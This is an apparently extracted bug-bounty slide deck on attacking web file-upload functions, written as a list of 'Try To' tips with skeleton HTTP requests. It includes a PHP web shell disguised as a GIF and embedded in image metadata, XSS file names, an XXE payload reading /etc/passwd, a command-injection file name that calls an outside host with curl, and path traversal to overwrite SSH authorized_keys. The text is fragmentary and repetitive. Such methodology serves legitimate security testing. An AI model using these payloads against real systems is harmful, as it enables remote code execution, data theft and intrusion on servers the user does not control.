BB - File-Upload
BB - File-Upload
Upload
Upload File From Your Computer
Mahmoud M. Awali
@0xAwali
My Methodology
attacker
Try To Put File Name To Your IP e.g. https://IP-v4.com To Get Blind SSRF
attacker
attacker
● Tweet
My Methodology
attacker
Try To Put File Name As XSS Payloads e.g. '"><img src=x onerror=alert(document.domain)>.extension OR
{{constructor.constructor('alert(1)')()}}.extension To Get XSS
------WebKitFormBoundary--
My Methodology
attacker
------WebKitFormBoundary--
My Methodology
attacker
------WebKitFormBoundary--
My Methodology
attacker
------WebKitFormBoundary--
My Methodology
attacker
Try To Inject OS Command e.g. `curl me.com` In Content Of The File Name
To Get RCE
● Writeup
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Put File Name To e.g. file.''gif And Content Of The File e.g. <html><script>
alert('XSS ');</script></html> With Content Type image/png To Get XSS
attacker
● Writeup
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
------WebKitFormBoundary--
My Methodology
attacker
attacker
attacker
Try To Set Content-Type Twice , Once For Unallowed Type And Once For Allowed
That Can Be Useful For Bypasses The Restriction
attacker
attacker
attacker
Try To Insert ImageTragick Commands In Content Of The File To Read Local Files
attacker
Try To Insert ImageTragick Commands In Content Of The File To Read Local Files
attacker
Try To Insert ImageTragick Commands In Content Of The File To Read Local Files
attacker
attacker
attacker
attacker
Try To Upload File Contents <!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> To Get XXE
● Writeup
POST /fileUpload HTTP/1.1
Host: company.com
● Writeup Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
● Writeup Content-Disposition: form-data; name="file"; filename="file.xml"
Content-Type: application/xml
● Writeup <!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
------WebKitFormBoundary--
My Methodology
attacker
attacker
Try To Insert XXE Payloads In Content Of The File With poc.txt <!ENTITY % int "<!ENTITY % trick SYSTEM
'jar:%payload;.domainwithoutimportance!/'>"> %int; %trick; To Get XXE
attacker
Try To Use PNG IDAT Chunks To Bypass Server-Side Filters If You Can
Control The Content Type Header In The Response
● Blog
POST /fileUpload HTTP/1.1
Host: company.com
● Blog Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Use PHP Extensions e.g. php , php3 , php4 , php5 , php7 , pht , phps , phar ,
phpt , pgif , phtml , phtm , inc To Get Shell On This server
● Payloads
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
● Tweet
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Use Filename Twice , Once For Unallowed Type And Once For Allowed That
Can Be Useful For Bypasses The Restriction
attacker
If The Server Is IIS , Try To Use Extensions e.g. asp , aspx , cer , asa And
shell.aspx;1.jpg To Get Shell On This server
● Payloads
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Use Perl Extensions e.g. pl , pm , cgi , lib To Get Shell On This server
● Payloads
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Use Jsp Extensions e.g. jsp , jspx , jsw , jsv , jspf To Get Shell On This server
● Payloads
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Use Coldfusion Extensions e.g. cfm , cfml , cfc , dbm To Get Shell
On This server
● Payloads
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Use Double Extensions e.g. .jpg.php OR Reverse Double Extensions e.g.
.php.jpg To Get Shell On This server
● Payloads
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Use Null byte With Double Extensions e.g. php%00.jpg OR php\x00.jpg To
Get Shell On This server
● Payloads
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
● Payloads
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Use Mix Uppercase and Lowercase Extensions e.g. pHp , pHP5 , PhAr To
Get Shell On This server
● Payloads
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Using NTFS Alternate Data Stream ADS e.g. file.ext::$data. OR file.ext:.jpg If
Server Running On Windows To Get Shell On This server
● Blog
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Upload File Using Forbidden Names e.g. CON , PRN , AUX , NUL , COM1-9 , LPT1 , LPT2 , LPT3 , LPT4 , LPT5 ,
LPT6 , LPT7 , LPT8 And LPT9 If Server Running On Windows
● Blog
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
● Payloads
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
Try To Change Content-Type To image/gif And Append Magic Numbers Of GIF e.g.
GIF87a OR GIF8; Then Insert PHP Code To Get Shell On This server
● Payloads
POST /fileUpload HTTP/1.1
Host: company.com
● Writeup Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
● Blog
Content-Disposition: form-data; name="file"; filename="file.php.gif"
Content-Type: application/php
GIF87a <?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary--
My Methodology
attacker
Try To Generate shell Inside Image Metadata e.g. exiftool -Comment="<?php echo
shell_exec($_GET['cmd']); ?>" img.jpg Then Try To Upload img.jpg
● Blog
Steps to produce :-
attacker
● Synack
Steps to produce :-
attacker
If You Can Upload Zip File Try To Generate ZIP Symbolic Link To Read Local Files
● Payloads
Steps to produce :-
attacker
If You Can Upload .htaccess To PHP Server , web.config AND httpd.conf To ASP
Server OR __init__.py To Python Server , You Can Execute Code
● Payloads
Steps to produce :-
● Payloads
1 - Change File Name To .htaccess , web.config ,
● Payloads httpd.conf OR __init__py
2 - Forward The Request
● Payloads 3 - If Server Accept Them , Upload One From
This Links On The Left
My Methodology
attacker
● Slides
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
attacker
attacker
------WebKitFormBoundary
Content-Disposition: form-data; name="MAX_FILE_SIZE"
%60sleep%2050%60
Content-Disposition: form-data; name="file"; filename="image.png"
Content-Type: image/png
------WebKitFormBoundary--
My Methodology
attacker
------WebKitFormBoundary
Content-Disposition: form-data; name="path"
../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
Content-Disposition: form-data; name="file"; filename="image.png"
Content-Type: image/png
------WebKitFormBoundary--
My Methodology
attacker
● Writeup
Steps to produce :-
attacker
● Writeup
● Tweet Steps to produce :-
attacker
If There Is Option To Upload From Your Domain , Try To Figure Out If There
Is Range Header OR Not To Get SSRF
● Writeup
Steps to produce :-
attacker
If There Is Option To Upload From Your Domain , Try To Add Address Of This
https://iplogger.org To Get Real IP Address Of The Company
● Writeup
Steps to produce :-
1 - Browse To https://iplogger.org
2 - Click On Invisible Image
3 - Copy Your IPLogger link
4 - Append Your IPLogger link As URL Of The Image
5 - Click On Logged IPs , Reload To Get The IPs
My Methodology
attacker
Try To Upload Image From exif-org Then Put Path Of Uploaded Image In
http://exif.regex.info/exif.cgi And Read The Output
● Writeup
Steps to produce :-
attacker
After Uploading File Try To search In Burp Suite About Token , Because
Sometimes The Server Will Send Access Token To Third Party
● Writeup
GET /getInformation HTTP/1.1
Host: third-party.com
User-Agent: Mozilla/5.0
Access_Token: ************************
Referer: https://previous.com/path
Origin: https://www.company.com
Hack3rScr0lls ● Tweet #BugBounty #BugBountyTip
Thank
You
Mahmoud M. Awali
@0xAwali